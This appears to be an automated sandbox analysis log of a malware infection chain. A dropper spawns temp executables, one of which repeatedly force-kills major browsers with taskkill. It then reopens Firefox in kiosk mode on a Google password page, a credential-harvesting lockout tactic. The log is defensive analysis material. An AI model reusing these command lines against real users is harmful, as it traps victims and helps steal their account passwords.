Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eee284a6-6c71-4aba-bd4c-f339d0acf602} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" 1ef1df6db10 socket
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2060 -prefsLen 25350 -prefMapSize 237931 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1812166d-c4fd-4c53-a2fb-652daad10071} 6848 "\\.\pipe\gecko-crash-server-pipe.6848" 21a4db6e510 socket
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe "C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe "C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2176 -parentBuildID 20230927232528 -prefsHandle 2068 -prefMapHandle 2060 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {4ca6a3ee-eee5-454e-b34c-b7afc720e16b} 3184 "\\.\pipe\gecko-crash-server-pipe.3184" 2592836c110 socket	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3500 -parentBuildID 20230927232528 -prefsHandle 3680 -prefMapHandle 2940 -prefsLen 26395 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {a965bc52-189f-476e-bd3c-458acd57178b} 3184 "\\.\pipe\gecko-crash-server-pipe.3184" 2593fe48210 rdd	Jump to behavior
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2068 -prefsLen 25350 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {eee284a6-6c71-4aba-bd4c-f339d0acf602} 1648 "\\.\pipe\gecko-crash-server-pipe.1648" 1ef1df6db10 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2132 -parentBuildID 20230927232528 -prefsHandle 2076 -prefMapHandle 2060 -prefsLen 25350 -prefMapSize 237931 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {1812166d-c4fd-4c53-a2fb-652daad10071} 6848 "\\.\pipe\gecko-crash-server-pipe.6848" 21a4db6e510 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002742001\b29e59e54d.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1002741001\63371c25d6.exe	Section loaded: iertutil.dll
